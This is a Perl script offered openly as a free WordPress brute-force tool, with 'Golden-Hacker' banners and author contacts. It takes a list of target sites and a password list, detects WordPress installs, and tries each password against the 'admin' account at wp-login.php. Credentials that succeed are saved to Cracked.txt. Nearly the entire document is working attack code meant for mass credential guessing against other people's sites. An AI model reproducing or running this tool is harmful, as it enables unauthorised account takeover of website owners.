[Perl] Wordpress Brute-force Free V1

#!/usr/bin/perl

# WP-BRUTE BY MMXM
# Gr33tz To Cy¢lone & Ut0p|4

use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
use LWP::UserAgent;
use Win32::Console::ANSI;
use IO::Select;
use HTTP::Response;
use HTTP::Request::Common qw(POST);
use HTTP::Request::Common qw(GET);
use URI::URL;
use IO::Socket::INET;
use Term::ANSIColor;

if ($^O =~ /MSWin32/) {system("cls"); system("color A");
}else { system("clear"); }
print "    ######################################################################\n";
print "    #                                                                    #\n";
print color 'reset';
print color("bold red"),"    #                           Golden-Hacker                            #\n";
print color("bold red"),"    #                      _____            _    _                       #\n";
print color("bold red"), "    #                     / ____|          | |  | |                      #\n";
print color("bold red"), "    #                    | |  __   ______  | |__| |                      #\n";
print color("bold red"), "    #                    | | |_ | |______| |  __  |                      #\n";
print color("bold red"), "    #                    | |__| |          | |  | |                      # \n";
print color("bold red"), "    #                      \_____|          |_|  |_|                      # \n";
print color 'reset';
print color("bold Green"), "    #                                                                    #  \n";
print color("bold Green"), "    # Skype : Mrmohmed.Hacker                                            #  \n";
print color("bold Green"), "    #                                                                    #  \n";
print color("bold Green"), "    ######################################################################\n";
print color("bold Green"), "\n";
print color("bold Green"), "[*]-----------------------------------------------------------------------[*]\n";
print color("bold Green"), "[+] Script Name          :{*} Free Wordpress brute force perl {*} \n";
print color("bold Green"), "[+] Version              : 1.0\n";
print color("bold Green"), "[+] Programed By         : Golden-Hacker & Ahmed Ali\n";
print color("bold Green"), "[+] Email                : C3s@hotmail.com & http://Fb.com/mrm0hm3d\n";
print color("bold Green"), "[+] Thank  For           : Jok3r & KaSper_BaGhDaD & Aymen & All Fr. \n";
print color("bold Green"), "[*]-----------------------------------------------------------------------[*]\n";
print color("bold Green"), "\n";
print color 'reset';
print color("bold red"), " List Sites --> ";
$opn=<STDIN>;
chomp $opn;
print color 'reset';
print color("bold yellow"), " List Pass  --> ";
$passs=<STDIN>;
chomp $passs;
$user = "admin";
print color("bold Green"), "\n";
print color("bold red"), "[*] Wait To Find Only WordPress ....\n";

open(tarrget,"$opn") or die "Please Put List :) \n";
while(<tarrget>){
chomp($_);
$site = $_;
if($site !~ /http:\/\//) { $site = "http://$site/"; };
if ($site !~ /^http:\/\//){
$site = 'http://' . $site;
}
if ($site !~ /\/wp-login.php/){
$site = $site . '/wp-login.php';
efrez();

}

sub efrez($site){
$ua = LWP::UserAgent->new(keep_alive => 1);
$ua->agent("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31");
$ua->timeout (10);

my $efreez = $ua->get("$site")->content;
if($efreez =~/wp-content\/themes\/|wp-content\/plugins\/|wordpress/) {
print color("bold Green"), "\n";
    print colored("[WordPress] $site",'white on_blue'),"\n\n\n";
open(save, '>>Wordpress.txt');
    print save "$site\n";
    close(save);
attack();
}
}





sub attack(){
open(a,"<$passs") or die "$!";
print "\n\nSite: $site\n\n";
sleep(2);
while(<a>){
chomp($_);
my $ua = new LWP::UserAgent;
my $response
= $ua->post($site,
{ log => $user,
pwd => $_,
wp-submit => 'Log in',
});
my $code = $response->as_string;



print color 'reset';
print color("bold red"), "[*] $site $user $_\n";
if($code =~ /Location:/){
if($code =~ /wordpress_logged_in/){
print color 'reset';
print color("bold Green"),"========================================================\n\n\[Success Found] $site\n[User]=$user\n[Pass]=$_\n\n========================================================
";
open (TEXT, '>>Cracked.txt');
print TEXT "[Success]$site=[User]=$user=[Pass]=$_ ==> :)\n";
close (TEXT);
}
}
}
}
}
exit;